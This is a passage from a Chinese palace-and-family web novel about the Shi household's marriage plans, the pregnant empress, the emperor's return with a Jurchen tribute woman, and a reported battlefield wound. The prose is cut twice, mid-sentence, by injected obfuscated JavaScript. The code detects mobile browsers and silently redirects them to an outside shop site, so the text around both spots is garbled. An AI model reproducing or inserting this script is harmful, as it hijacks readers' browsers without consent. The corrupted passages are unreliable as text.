提及此事师冉月就忍不住叹气——怎生她就又有了身孕?好不容易端木玦日渐长大可以脱了手,这边就又有一个将要降生,真是一点消停日子也无。 “我只盼着这回得一个公主就好了,像大公主那般懂事乖巧的。” “你哪里至于这样说?太子也是个沉稳的性子,只不过小孩子都爱玩些罢了。俗话都说‘外甥肖舅’,我瞧着呀,太子将来恐怕会是你大哥那般模样。” “像我大哥二哥都无所谓,只要不是像我三哥四哥就好了。” 棠欢放生的灰山雀振翅飞远,窗前飘摇的柳枝上生出星星点点的嫩绿。 林守贯尚在边关,但林、岳两家的婚事还是如常举办。虽说岳氏如今人丁凋零,但好歹还有怀宁长公主坐镇,十里红妆洋洋洒洒,也算是复景三年开春京城头一件热闹事。 “娘,表姐既然已经出嫁了,是不是大姐姐和二姐姐就该从姨母那边回来了?” “是啊,明日一早你大姐姐和二姐姐就回来了。” “太好了太好了,我要去找三姐姐,明天大姐姐和二姐姐回来我们要给她们看我们新画的纸鸢!”棠欢高兴地转着圈在屋子里蹦蹦跳跳,又拉着绮红就要去端木婉的院子找莞安。 绮香笑着蹲在她身前给她系好帷帽的系带,系带上的两个小铜铃跳跃着“铃铃”响个不停。 端木萌笑叹:“你呀你,赶明儿就把你关到太夫人院子里去教嬷嬷看着你学女红,省的你成日里像个雀儿猫儿似的不得歇。”又嘱咐道:“你也去四婶婶院子里,将你四姐姐五姐姐一并叫上。如今你四婶婶心气儿不好,你别在她跟前太折腾,免得惹她心烦。” “娘放心,我晓得。”棠欢一面答应着,一面就颠颠地跑了出去。 “这孩子,不愧是行六,咱家这辈这些姑娘独她一个和小六一样成日里疯疯癫癫跟着哥哥们上蹿下跳。” 绮香忍不住腹诽:“全家上下都惯着这么一个小祖宗,不‘疯’就怪了。” 再加上,端木萌每每对着棠欢,就总是想到被送走的薇欢,便忍不住将对两个幺女心血全都花在棠欢一人身上,于是哪怕与婷欢相比,也要多宠着她些。 思及此,绮香眼中又露出不忍。 端木萌这厢似乎并没有多想些什么,面上还挂着笑意,看着逢州新送来的账本,手中有一搭没一搭地编着一个扇穗。 行湘捧着一碗热腾腾的红豆山药羹来放在案上,道:“殿下还是歇一歇,这账本明日再看也不会误事,当心伤了眼睛。” 绮香忙上来修剪那烛灯的灯芯,唯恐不够,又要去外面拿上一盏新的一并摆上,却正碰上端木婉进了院子,忙行了礼,又回来向端木萌道:“殿下,二夫人来了。” 端木萌起身走到外面,拉着端木婉的手将她迎进屋内,奇道:“这么晚了,你不是一向该歇下了,怎么来了?” “这么晚了,你不是也放心棠姐儿出去。我过来时正碰上她,这会儿她大概是和莞姐儿去太夫人那边,找锦姨给纸鸢勾线去了。” “自家院子里,又有人跟着,倒没什么。” 二人相对而坐,绮香又端来一碗红豆山药羹,又将账本撤到一旁。 端木萌道:“夜深,喝茶不好,你尝尝这山药羹,这次做的不是很甜,想必合你胃口。” 端木婉尝了两口,点点头,又从袖中取出一封信来递给端木萌,道:“我来是为了此事——这是今日在林家时景安叫岁荷交给我的。” 唐烨去世后,青芜和岁荷分别跟在了婷欢和景安身边。 端木萌打开来看,尚未看几行字便忍不住皱起了眉,“景安是说,怀宁长公主有意将她许配给添哥儿?” “是这个意思,虽未彻底明说,但这几日景安她们留在岳府,恐怕长公主也多有暗示。而且婷欢和景安说明日她们回来,长公主也会一同过府造访,若不是为了婚事,我想不出还有什么理由。” “添哥儿今年已经十七岁了,现在订婚,实则已经算晚的了,只是我未曾想过竟会是想与咱们家结亲......景安才十一岁,若是她不愿,明日你我替她回绝了就是,倒也没什么。” “只是我如今也弄不清景安是愿意还是不愿意。”端木婉叹道,“说实在的,景安也到了可以议亲的年纪,岳氏也没有什么大差错,虽然如今有些衰落,但岳添好歹也袭了爵,又有长公主在,也不算是下嫁了。人口简单,也算清净。” 端木萌却愁道:“可是前些日子怀宁长公主上书一事,虽然陛下未曾责怪,但还是有所疏远......何况,我如今竟想不明白我这姐姐是做的什么打算,既有结亲的打算,又为何还要多事?” “兴许是这些日子景安她们住在岳府,才有的结亲的想法罢......”端木婉想来也愁个不停。当初端木葭上书后,京中议论纷纷,她们一度在宴饮时碰见也是尴尬的很,不过维持了表面的交情和礼数。此番若不是岳佳邀请,婷欢和景安两个与之私交又颇深,这才答应了让她们住到岳府陪岳佳待嫁,却未曾想又惹出这桩“罗乱”。 “罢了。”端木萌将信拍到案上,道:“她既未下帖,我们也只当不知道她来。明日一早你我便进宫去,教莞姐儿和棠姐儿两个拉着她们四婶婶还有四姐儿五姐儿都去庄子放纸鸢去。婷欢和景安都聪慧,回来见我们不在想必也就晓得了。我们进宫,一是问问小六的意思,二是也好有个缓冲的时间,明晚回来也好问问景安自己的意思。” “太夫人那边......” “太夫人不会见她的。”端木萌哼道。 49. 第 49 章 更深露重。 端木萌一路将端木婉送回去,再回到留容轩时,棠欢的厢房里已经熄了灯。她叹了口气,将帕子铺开在院中的秋千上,自己坐上去悠悠晃着。 景安此事虽暂时有了对策,可却勾的她开始担心起婷欢的婚事来。 “行湘,你说......”她开了口,却又不知如何说下去。 行湘心下大抵有了猜测,道:“殿下是担心婷姐儿的姻缘?” “......不晓得她最后会落到哪儿,是像我些,还是像,她两个姑母些。”一想到师吟月和师冉月,端木萌瞬间整颗心都被愁绪淹没,心头肉酸痛地揪紧无所适从。 “殿下放心,几个姐儿有您,必定不会姻缘不幸的。” 端木萌笑得像倏忽一阵秋风,“但愿如此。年纪小的如今还不急,可以从长计议,然而婷欢如今却等不得了。明晚从宫中回来得一并问问她。如今师家地位稳固,阳曲侯和云和长公主的女儿,没有为了旁的什么事委屈自己姻缘的理由。” 这两日骤然升温,风里带上些湿暖的土腥气,师冉月害喜也随之害得厉害。 音儿亲自看着小锅熬着热姜茶,木莲守在师冉月身边,一个连一个地剥着柑橘。然而如今她是不吃也犯恶心、吃多了也犯恶心;开着窗子闻到一丁点土腥味儿也难受,不开窗子不通风也难受。早饭喝了两口粥就吐了个天翻地覆,缓了一会子,肚子又饿了,教厨房做了碗小馄饨来,好容易吃了一碗无事,才站起来走动了两步,毫无理由似的又开始呕吐。 如今虽然肠胃空空又饿了,却也一点东西不想再吃,只小口小口喝着热姜茶,又教太医来请脉,开了安胎的药,也不敢在坤宁殿内熬,只好托了端木暄把药拿去清和殿煎。 端木萌与端木婉过来,正碰上又一个请脉的太医从坤宁殿出去,看着师冉月瘫坐在榻上没一点精神,惊道:“前两日我来时还好好的,怎么这会儿害喜这般厉害?” “别——这会儿我听不得这两个字。” “好好好。”端木萌连声应着,又叹道:“你这般模样,倒叫我们今日不好开口了。” “我就知道你三日前才进宫,今日又把二嫂也带来了,必然是有事找我,快开口罢了。”师冉月直身坐起来,又喝了两口姜汤。 端木婉轻声笑叹:“既如此,我便也说了。昨日林岳两家婚宴上,景儿差岁荷交给我一封信,信中说恐怕怀宁长公主有意以她为媳。” “岳添?景安自己的意思呢?”师冉月皱眉。 “景安在信中未曾说明。景安说怀宁长公主今日有意与她和婷儿一同过府,恐怕就是要商议婚事。所以我们才一早进宫,一是好有时间单独问问景安,二也是问问你的意思。” “——反正不是为着看我来的,罢了罢了,我晓得了。”师冉月捏着锦帕掩面详装伤心,被端木萌轻打了一下,才笑道:“好了好了。如今和咱们家与岳氏结亲,说不上好,但也说不上坏。岳添此子,这两年宫宴我也见过几回,是个敦厚老实的人,兴许无趣些,但也挑不出错。所以我以为,只听景安自己的想法就好了,她想嫁就嫁,想不嫁,我便为岳添赐一桩婚事就是了。” “有你这句话我们便也放心了。” 两人在坤宁殿磋磨到天将黑,到了绮香差人送进来消息,这才坐上马车悠悠回了侯府。 张雁送了消息回来要带着孩子们在庄子里小住两日,于是便只有婷欢和景安立在垂花门旁等着。婷欢穿着一身杏橘色满绣苏绣月季和莲花纹样的裙子,披着鼠灰的厚披风,端然立在风里,像不折的花树。与之相比,景安一身浅水绿的暗线藏花福禄满月纹样的裙子,加上月白的披风,显得十分素净柔俏。 二人见母亲们下了马车,忙迎了上来。婷欢挽过端木萌的手臂,娇嗔笑道:“母亲真是的,和伯母也不留句话就进了宫,连四婶婶都带着弟弟妹妹们去了庄子。我们一回来家中除了太夫人一个都不在,还以为怎么了呢。” 景安也笑道:“还好我和大姐姐有些脑子。” 端木萌微仰着头,勾唇道:“就是看中你们两个聪敏,绝对会领悟我们的意思。若是换作那几个小子,我们可是万万不敢这么做的。” 四人至留容轩一齐用了晚饭,饭后便只留行湘、帘儿、青芜、岁荷四个在旁侍奉,其余人皆谴至屋外去。 景安见状有些惊异,道:“商讨女儿婚事,倒也不用这般对待罢?” “你这婚事事关师、岳两家的关系和颜面,你又在岳家住了这些时日,若是一不小心被人编排,容易坏了名声。虽说我师家女也不必在乎这些,但你毕竟还年轻,身上的麻烦越少越好。” “女儿明白了。” “既如此,便直说罢。”端木婉拉过师景安的手,道:“景儿,你可有喜欢的人?” 师景安摇了摇头,道:“没有。” 端木婉看出女儿眼底的直白,不似隐瞒作假,却还是看向师婷欢意图求证,却对上师婷欢正发呆的眼神,双颊还有些飞红。她心下了然,又看向师景安,道:“既如此,若是怀宁长公主再提结亲一事,你可愿意嫁给岳添?” 师景安想了想,沉静道:“若是长公主再提,女儿可以嫁。” “可以,而不是愿意?” “是。娘从小教我们要实事求是,女儿在岳府住了这些时日,也见过岳家兄长几面,只当他作寻常的远方表兄,不亲近也不厌恶。怀宁长公主和佳表姐待我也都友善,想必如果我嫁过去也不会被为难。但女儿对岳家兄长没有男女倾慕之情,所以谈不上‘愿意’,只是‘可以’。” 端木婉点点头,叹道:“娘知道了。” 端木萌开口道:“躲过了今日,想必此事不会太着急。景儿,你且自己琢磨着,若是不想嫁,随时与我们说就是,到时候你娘还有我,还有你姑姑都会为你做主。过些日子清明马球会还有百花宴你都去,也瞧一瞧有没有旁的心仪的人。” 师景安点头应下。 端木萌又看向师婷欢,拍了拍她的肩道:“婷儿,方才你就在发呆,在想什么?” 师婷欢骤然回过神来,双颊的红更深了几分,只避开母亲的眼神,低头道:“没......没想什么。” 端木萌看她神态,还有什么不明白的,却也只转头对端木婉道:“既然景儿的意思如今也明白了,今日折腾了一天,不如早些歇息罢。” 端木婉会意,便带着师景安先回。师婷欢见状,刚要跟着起身回厢房,却被端木萌拉住,道:“婷儿,这会儿你伯母和二妹妹也回去了,你实话与我说,是不是已经有心仪的人了?” 师婷欢登时惊愣在原地,随即满面羞红,像开错了时节的一朵红莲,明艳别殊。她结巴着道:“啊,啊。娘......你怎么知道的。” 端木萌摇了摇头,笑着叹了一口气,拉过她在自己身旁坐下,扶着她的肩道:“娘又不是没从十几岁活过,怎么会看不出?说罢,是谁家的公子?” “是......大哥哥的同窗,叫燕寂。” “燕寂......是寻县燕氏长房的那个独子?”端木萌微不可察地皱了下眉头,然而她这点微小的异样还是被紧张地观察着母亲神态的师婷欢捕捉到,顿时心脏一揪:“娘,燕氏有什么不妥么?” 端木萌叹道:“没有不妥。燕氏是寻县大族,根基深厚。我记着是燕寂的曾祖父那辈出了两个进士,后来皆官至尚书,燕氏五房也因此从寻县搬到了京城。虽说近些年不如原先繁盛,但也算中规中矩,没什么差错。” “那,为何......” “我不满,是因为燕寂是长房独子,自小丧父,是他母亲薛夫人独自将他拉扯大。燕氏明面上有五房,实际上旁支数不胜数,这些年那些亲戚盘根错节,生出不少罗乱。薛夫人是个厉害的,才能支撑住宗妇的位置,尽力约束那一大家子人,人后的辛苦可想而知!燕寂又是独子,倘若你嫁与他,今日的薛夫人可就是来日的你了。” “这些女儿都晓得,大哥哥已经与我说过了。” “你大哥哥已经知道了?” “没!大哥哥不晓得我喜欢他,只是当作和我介绍友人闲聊罢了。可是娘,这些人家但凡有些底蕴的,几乎都是人口复杂。咱们家是这样,官氏是这样,吴氏是这样,唐氏、萧氏是这样,从前的岳氏也是这样,又怎能避开呢?” 端木萌道:“婷儿,我们从未想过要你一定嫁到所谓的那些‘有底蕴’的人家,若你真心喜欢,哪怕嫁给走卒商贩,父母为你置办家业田产,保你一辈子衣食无忧,或者干脆招赘在家都行。”她眼中流露出一丝轻蔑,又道:“说实在的,若真说什么‘门当户对’,如今除了皇族,还有哪个能和师家门当户对。” 婷欢闻言,神情却有些痛苦,道;“娘,我想的倒不是‘门当户对’......爹爹难道不需要多些‘门生’么。” 端木萌眼神蓦地凝固。 师霖这厢为了怕前朝出事端,几乎把床都搬到了中书,去年秋敲定下来的一应改革事宜,除蒋节负责的市舶司有所调整之项,以及交由官成潜主要负责的与北面商榷的互市一项如常推行,其余也都暂缓,而调户部、吏部众人一律推经济事,以保证东北前线开支。 “干戈既起,事行保守,则无大错。” 至于前线传回战报,师霖不敢擅专,一律交由兵部先行处置,再召集中书商榷决断。实则端木玄人在前线,行军大事即刻作主,只有需要京中调配军需之事才会传回,大多也是已经做好了决断只待执行。若是有人提出异议,也一律被师霖压下,只按端木玄的旨意安排下去。 君王亲征,士气大涨。上巳节后捷报频传,不闻哀声。 四月,大军班师回朝。 “还有十日左右陛下的车马便抵京了,何不再等些时日再离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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师冉月如今怀胎快六个月,身量重了起来,也常觉燥热。这些日子一应事忙起来,端木萌也不常入宫了,林绵感了风寒身子不适,也不来造访,除了偶尔过来“蹭吃蹭喝”的俞安乐和其余一二人,大多时候便只她一人独处。她还是格外偏爱廊下和窗前,如今的天气已经不用围炉,只在一旁支起一张高几,上面放些喜欢的吃食,而后便可赏景发呆打发时间。 她如今害喜的症状大有缓解,能吃的东西多了不少,心情便也较前两个月舒爽些。 “臣请娘娘安。” 师冉月闻声一愣,回头看见烟水,笑开道:“你也回来了。春桃,再搬把椅子来。” 烟水一身素蓝的衣裙,裙摆和袖口用月白和淡青的丝线做了些装饰。虽然裙子的款式显然是为了方便动作特意改过的,但还是较之在外时一身紧身玄青色男装添了几分柔和的女儿颜色。 烟水坐到师冉月对面,细长而下垂眉尖似是含着露水的草叶。 “你一向来寻我都是有要紧的事要说。说罢,这次又是何事?” 烟水也不绕弯子,春桃随后倒好的茶也置若罔闻,神情淡然道:“陛下从女真部带回来一个女子,是纳真的妹妹舒兰格格。” 她没有去看师冉月的神色,眸光微垂,继续道:“据说舒兰格格是女真贵族中容颜最美的女子。纳真将她献给陛下,以换取我朝收兵,并承认他为新任部落之主。” “这样啊。”师冉月喃喃道。 她声音极小,又模糊不清,竟让烟水一时没有听清,不自觉颦眉。 “陛下对她的爵位有定夺了吗?”师冉月突然抬起头看向烟水,眸色清亮,却有一种莫名其妙的平和,像是大雾的清晨中蓦然起飞的鸟儿尾羽带起的露水,又或者零星飘落反射着光线的细微雨丝。 “尚未。”烟水应道,却对上师冉月有些戏谑含笑的眼神。“娘娘就不担心吗?” “担心什么?”师冉月浅笑道,“陛下尚未有定夺,是将她册封为内命妇还是外命妇。若是有了决断,将她纳入后宫,那我命人新收拾出来一处宫殿就是。若是收作义妹册为公主或郡主,那我代为在国朝内寻一位驸马便是。” 音儿拿过药来,师冉月双手端着,吹了吹气,慢慢喝着。她越来越耐苦,便也不似少时急着一口气将药喝完,反倒渐渐喜欢上捧着温热的药碗闻着药香的感觉。 烟水仍端直坐着,似是在发呆。这举动在她过于不平常,以至于后面立着的春桃都忍不住伸长了颈子张望。 良久,她才开口道:“既如此,臣便不打扰娘娘了。”说着便起身要走。 师冉月却像没等来希望的答复一样,略有些不满似的,道:“为什么不告诉他呢?” 烟水背身对着师冉月,闻言顿了一顿,却像是未曾听见一般,又加快了步子,匆匆走了。 音儿目送她离开,弯着身子小声在师冉月耳边道:“姑娘何苦激她呢?” “成人之美罢了。” “那姑娘自己呢?”音儿有些着急,“那位舒兰格格,若是陛下真将她纳入后宫,姑娘打算怎么办?藩邦贡女,稍有差池便容易使两国交恶,可不是寻常妃嫔。” 师冉月的眼神慢慢飘到窗棂上,那里下雨时在夹缝中留下一点微不足道的泥,风一吹就散,却意外养活了一根小小的绿苗。心知它随时会消散,于是师冉月特意吩咐人留下了它。 “那都不是重要的,如今我唯一重要的便是将这个孩子安安稳稳生下来,其余的事,自然有人帮我处置。” 50. 第 50 章 “四夫人,四......四夫人!”袁行一边跑一边喊着,跨进垂花门往念栀堂前来时腿脚不利索扮了一跤,几乎是连滚带爬扑到张雁面前,气喘吁吁道:“四夫人——四老爷,四老爷不好了!” 端木萌正从念栀堂携着棠欢和幼芷几个走出来,没听清袁行的话,见他这般样子只厉声道:“私闯内院,还这般毛毛躁躁的,你哥哥未曾教过你规矩么?” 袁行伏在地上又转向她叩首道:“三夫人!是四老爷不好了啊!” 端木萌面色一凛,看已然面无血色呆愣在原地的张雁一眼,肃声道:“怎么不好,你快准确说来,作甚么就做这样的晦气事来。” 袁行忙立直了身子,却仍跪在地上,道:“三夫人,四夫人,是随着四老爷去边关的马希和马广传回来的消息,说是四老爷不知怎么回事中了暗箭,那箭头上有腐蚀血肉的毒,一时治不好,陛下只得令人保住四老爷的性命送回京来医治,只是怕扰乱军心而将消息压了下来,如今恐怕四老爷都已经昏迷了好几日了,恐怕,恐怕......” 张雁听着听着,已是翻着眼皮将将要昏过去,好在端木萌眼疾手快,上前一步接住她,才叫她没有直直摔在地上。一旁的幼芷幼桐两个已经慌张地抽噎起来,婷欢想说些什么相劝,却又不知如何开口,只好在一旁默默抚着两个妹妹的肩。 端木萌将张雁交给匆匆跑来的几个嬷嬷,又向袁行吩咐道:“你且先去宫中寻太医为四夫人看诊,而后便去前面候着,等着四老爷的消息。”又转首向行湘道:“你亲自随着成伯去接侯爷,将此事禀报于他。” “三伯母,娘......爹......”幼芷哭得上气不接下气,哭喘着叫着端木萌,一时说不出别的话来。幼桐小小一个,只瑟缩在姐姐怀中,面露惊惧,却并未哭。 端木萌心下不忍,却只皱眉道:“婷儿,带你两个妹妹到留华轩去罢。” “好。” “消息传到京城了?” “是。”薄枝低头道,“马希将消息传给了留在阳曲侯府中师骁的小厮袁行,栖洲说袁行已经拿着云和长公主的令牌去宫中请了太医,说是师家四夫人告病。”又略有迟疑道:“皇后娘娘大概也知道了。” “知道了,你退下吧。”端木玄挥了挥手。 军队已经快到了宛城,大约还有两三日便能进京,四周景致也从春草初生到绿意盎然,空气也不再干燥。军中一片欢欣,连带着端木玄的心情也实实在在地放松了好些。 薄枝略微抬头,似是看了眼端木玄的面色,并没有立刻退下。 端木玄略微皱了皱眉,眼睛像匕首在月色下闪着寒光,道:“还有事么?” 薄枝连忙将头低得更低,跪在地上道:“属下有句话与此事无关,不知当讲不当讲。” “讲。” “烟水和近黛都已经回宫,若是娘娘直到了舒兰格格的事——” “无妨。”端木玄背过身去,匆匆打断,声音渐冷,“你只消做好分内之事便可,下去罢。” “是。”薄枝惶恐着匆匆退下,不敢多言。 听着身后人已经走出大帐,端木玄才又慢慢转身坐到椅子上,拿起一旁案上放着的披风在手中端详了一阵,手指来回摩挲着,瞳孔却慢慢失了光彩。披风染了血褪了色,隐约间还能看出破碎烧焦的痕迹,明明是上好的料子,却已然有些起了毛边。 “陛下......陛下?” “啊。是你。什么事?”端木玄猛地惊醒,才发觉是岑嘱全正弯着腰在自己面前小心试探,企图将他唤回神。 “启禀陛下,舒兰格格的侍女雪儿正等在帐外,说是舒兰格格今日随着军中的厨子学着做了中原的点心,里面还有陛下爱吃的山药糕,送过来请陛下尝尝。” “不必了,叫她回去罢。” 岑嘱全看着端木玄阴沉的脸色不明就里,明明方才薄枝进来前还算艳阳高照,怎么这么一会儿功夫就乌云密布了,却也不敢耽搁,忙应声便要出去将雪儿请走。然而方才走到帐边,还没掀开帘子,便听见身后那人又道:“罢了,将东西拿进来罢。” “是。” 师冉月送走了来请脉的邹太医,一个人坐着发起呆来。这些日子胎像一直平平稳稳,孩子也只是偶尔动一动,也不闹人,安静得很,倒叫她觉得无聊起来。 算着端木玄最多也就两日便会回宫,她竟觉得有些许紧张或是什么的情绪,牵引着她一颗心时常胡乱急急地跳上一番,思绪也跟着像窗外的杨花一样纷乱,一会儿想着吴秐,一会儿想着烟水,还有烟水说的那位舒兰格格,又觉得自己似乎忘了些什么—— “音儿!” “我在,娘娘,怎么了?” “方才后来便与邹太医聊起饮食一事,竟忘了再问,邹太医说昨日午后侯府来人请走了杨太医看诊,是谁又病了?” “是四夫人病了,但说是小病,我想着兴许就是寻常风寒,或是头痛一类,便没来打扰娘娘。” “若是这些,四嫂自己也就抓药喝了,原是不必请太医的。”师冉月想了想,仍是挂心,便道:“今日杨太医不当值,你且叫德保拿上东海国进贡的那两支人参去侯府再问问罢。” “好,我这便吩咐德保过去。” 师冉月心落下一半,很快竟也忘了,自己琢磨着给孩子绣起肚兜来。没一会儿到了晌午,端木玦下学回来,围着她的肚子拍手说话。她便又忙着考较起他的功课来,直叫他将文章默写得一字不差了、音儿也催了又催,才拉着他一块去用午饭。 “母后,儿臣希望您能生个妹妹。”自从端木玦上了五岁,习了那全套的礼仪,便也不再耍赖撒娇唤“爹爹”“娘亲”这般称呼,平时只肯叫“父皇”“母后”了。 “为何?”师冉月有些惊讶,这是她怀胎这么些个月以来端木玦第一次说这种话,以往他即使围着她的肚子说话,也是弟弟、妹妹都叫上一通。 端木玦撇撇嘴,“因为妹妹就不用背书了啊。” 师冉月失笑,道:“你去问问含儿,她也是要背这些的,还要额外背《女则》、《女戒》,比你差不了多少。” “胡说,大皇兄说前些日子妹妹都随他去放风筝了,只有我要背太傅和沈先生留的这些诗词文章,这个月还要开始读《资治通鉴》和《史记》,这么一比临字帖都不值一提了。” “那是含儿乖巧,早早背完了,不似你总是先浑闹上一番才肯做功课。”师冉月这般说,尤嫌不过瘾,又挤眉弄眼着吓唬他道:“而且过两日太傅和沈先生还要叫你写读了《资治通鉴》和《史记》后的感想呢。” “啊!母后你是骗我的吧?” “谁骗你?我当初与你舅舅们一同上学,怎会不知道先生如何留作业呢?”师冉月得逞笑着。 “音儿姑姑——”端木玦转头想要找音儿求证,却未寻到她的身影,奇道:“音儿姑姑去哪儿了?” 师冉月也是才发觉,刚要问起,木莲忙在一旁应道:“娘娘,殿下,方才德保回来了,将音儿姐姐寻了出去,想必马上便回来了。” 师冉月心知是师家的事,一瞬间种种疑虑重新涌上心头,皱了皱眉,看着端木玦有些好奇又有些担忧的模样,又笑了笑对合月道:“你带着玦儿到偏殿继续用饭罢。” 她自己却无心再继续吃下去,只叫木莲带人撤了饭菜,自己独自坐着等音儿回来。 没多时,音儿自殿外进来,见到饭菜已撤,而师冉月枯坐着正等着自己,略微一愣,旋即更加觉得难以开口,却又无法隐瞒,只道:“娘娘,德保说,是四夫人昨日情绪激动,竟晕了过去,长公主才命袁行来请太医看诊。方才德保见到四夫人,神情瞧着不见病色,只是有些没精神,想来没什么大事。长公主和四夫人都叫娘娘莫要担心。” “为何会情绪激动?” 音儿迟疑道:“据说是......听说四老爷负伤昏迷。” 师冉月闻言,扶着腰起身,惊诧不已。战事平息已经快一个月,兵部汇报的折子也早已放在了清和殿的书案上,当中自然有伤亡一事,尤其是诸位将领伤亡及抚恤一应状况皆是清清楚楚,当中却并未提到师骁。如今这种消息是确有其事还是有人构陷,若是有人构陷,待过两日师骁回京自然真相大白,最多只会叫家眷心急两日,又何至于传出这般谣言? 师冉月一时间又是心乱如麻,竟隐隐约约觉得有些腹痛,登时捂着肚子坐了回去。音儿一惊,连忙上前将她扶住,一边大喊着叫传太医。师冉月却腾出一只手来摁住她,低声道:“不急。木莲,你去太医院,请邹太医来。”又转首看向音儿,盯了她一阵子,眸光骤然变狠,道:“音儿,你去阳曲侯府,传本宫口谕,教师太傅进宫见我。” 音儿一愣,旋即明白过来,顿觉心上尖刺丛生,看着师冉月道:“娘娘,待两日后他们回京再看也不迟......烟水和近黛都闭口不提,想必这当中......” “也罢。”师冉月缓了一会儿,觉得痛感削减了许多,才慢慢直起身子,目光也沉寂下来。“此时请监国的太傅进宫,也不像话。说到底,旁人我无法追究,这也只能算是家事罢了。” 四月二十一日,大军进城,师霖率百官至城门前亲迎端木玄还朝。 此次发兵一举平定东北战乱,京中百姓亦是夹道欢迎,上下一片欢欣。 端木玄入了宫门后,召集百官速开朝会。师霖将监国以来诸事一一总结汇报,无有隐瞒,有当细商者,皆以表呈上,留待端木玄裁断。 师霖语毕,兵部尚书王祥又将此次战事前后做了总结,端木玄令其交由礼部侍郎官成澈作参考,书以表彰以呈天下。 一应事交代完毕,户部尚书陈科站出来道:“陛下此次亲征东北告捷,此乃我朝天大的喜事,臣提议,与端午国宴一道举朝上下连贺十日,与军民同庆。” 端木玄却皱眉道:“打仗已是劳民伤财,此次军中伤亡也不算少,就不必做这样没有意义的事了。户部若是有闲钱了,还是先与市舶司筹谋筹谋,或是留待日后救灾救急罢。” 陈科闻言悻悻退下。 端木玄继续道:“端午宫宴照常举办,只按寻常规模便是。诸部诸司当优先处理抚恤一事。至于东北告捷,礼部将贺文发出去就是了。” “臣等遵旨。” 正要散朝,吴称却站出来道:“启奏陛下。敢问女真部献上的舒兰格格,陛下打算如何处置?” 端木玄却似早已料到,只道:“此事待朕与皇后协商,再作处置,不劳诸位费心。” 见端木玄如此说,吴称准备好的话便也不好再说,只得说了句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226165|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “陛下圣明”便又退了回去。师霖瞟了他一眼,也不作言语。 走出宫外,吴称才问身旁并肩的师霖道:“舒兰格格的事你怎么一言不发?” 师霖淡淡道:“那格格又不是来和亲的友邦贵女,不过是个战败求荣而献上的贡女罢了。何况陛下都那般说了,我又能说什么?” “陛下说与皇后商议,大约是要将她纳入后宫了。你我的妹妹都在宫中,你便不担心么?” 师霖看向他,眼神意味深长,轻笑道:“陛下是否会与皇后商量倒不可知。不过——舍妹乃是国朝皇后,而令妹不过是陛下后宫中诸位才人之一......来日若要子衡兄你来抉择,孰轻孰重,你也该有个考量罢。” 吴称愣了一愣,正欲说些什么时,师霖却已走远。 五月初五,端午宫宴,一切只道是寻常。 觥筹交错间,乐音起伏,舞女水红的长袖缠绕飞舞于满殿暗金的绸幔间,显得格外奢靡。 因着师冉月有孕在身,不方便行动,这次宫宴便是交由林绵主要承办,徐聆雨从中协助。师冉月以花茶代酒,全程作陪。 宴饮过半,瞧着场上鼓点渐激,显然是到了高潮,徐聆雨与林绵对视一眼,向师冉月使了个眼色。没一会儿,场上的舞姬们便随着似是戛然而止却又恰到好处的鼓点作了谢幕,一水儿似浮云般退了下去。旋即鼓乐又起,一个身着异域服饰的女子独身一人上了场。 端木玄借着酒意看去,待瞧清了那女子面容时骤然酒醒,转头看向师冉月。师冉月却只平静地看着场上那女子的舞步,嘴角甚至挂着欣赏的浅笑。 一曲舞罢,场中女子优雅行礼,用有些许生涩的中原话朗声道:“臣女舒兰,拜见天朝陛下、皇后娘娘。” 台下众人闻言表情倒是各异,有惊诧的,有了然的,也有眼神乱瞟企图看出高台上那两人态度的。师冉月看在眼里,在心中暗叹精彩纷呈,终是在一阵死寂般的沉默中,先于端木玄悠悠开口:“平身。” “谢陛下、娘娘。” 舒兰站起身,并未像寻常臣子家眷那般低眉敛目,反而微微仰着头望着端木玄和师冉月。徐聆雨微微打量了她一番,浅笑着开口道:“这舒兰格格的眉眼瞧着倒不似女真女子,竟有几分像我们南省的女子呢。” 岑嘱全瞧着上面二位主子的颜色,忙开口搭话道:“昭仪娘娘不知,舒兰格格的外祖是逢州人,后来才出了关。算起来,舒兰格格的生母乌鲁岱庶妃也是半个咱们大淮人呢。” “逢州,这倒与皇后娘娘和我算是半个同乡了。不过舒兰格格既然来了我大淮,总用女真的称呼也不大好,不如趁着今日请陛下和娘娘为舒兰格格赐个名字、定个封号,日后咱们也好称呼了。” 师冉月向端木玄道:“徐昭仪所言不错。既如此,便请陛下定夺罢。” 端木玄阴沉着脸色看了她一眼,旋即缓缓道:“朕听说‘舒兰’在女真语中有珊瑚的意思......便赐名为‘胭’罢。至于姓氏——” “臣妾有一提议。”师冉月突然开口道:“舒兰格格一个女子孤身来我大淮,是为了和平安宁,乃大义之举。不如请陛下赐她国姓‘端木’为恩典,以彰显我朝崇尚和平、海纳百川的气魄。” “皇后所言有理。那便从皇后所请,赐名‘端木胭’,后续便由礼部操办罢。” 近黛穿着齐整的女官服制,侍立在端木玄身后,默默咀嚼了一遍这个名字,眼神有些黯然。她瞧出师冉月开口后端木玄眉眼间不自觉的舒展,看着台下那女真女子似乎很高兴的样子行礼道谢,心中只是暗叹。 师冉月亦看清端木玄那一点变化,暗自舒了一口气,却还是觉得有些不平,便只将视线看向场上,却在端木胭谢恩行礼时从那女子眼中看到了一点异样的光芒,心倏地又提起半颗。 很快歌舞再兴,推杯换盏间,官成澈不禁向安谈和道:“陛下方才是什么意思?前些日子还说不用我们来管,现在又全权交给礼部了?” 安谈和“诶”了一声,道:“小官大人慎言呐。陛下和娘娘已经将名字订好了,你只要再拟定个封号便是了。” 官成澈瞪眼:“为何是我来拟定封号?” “这种机会自然要留给你们年轻人好好表现嘛——正好你那贺文也发出去了,也有功夫好好准备此事。” “这么要紧的事怎么能交由晚辈来操办呢?”官成澈也举起酒杯向安谈和致意:“安大人即将致仕,若能将这桩事办好,岂不是您仕宦生涯的一桩美谈?” 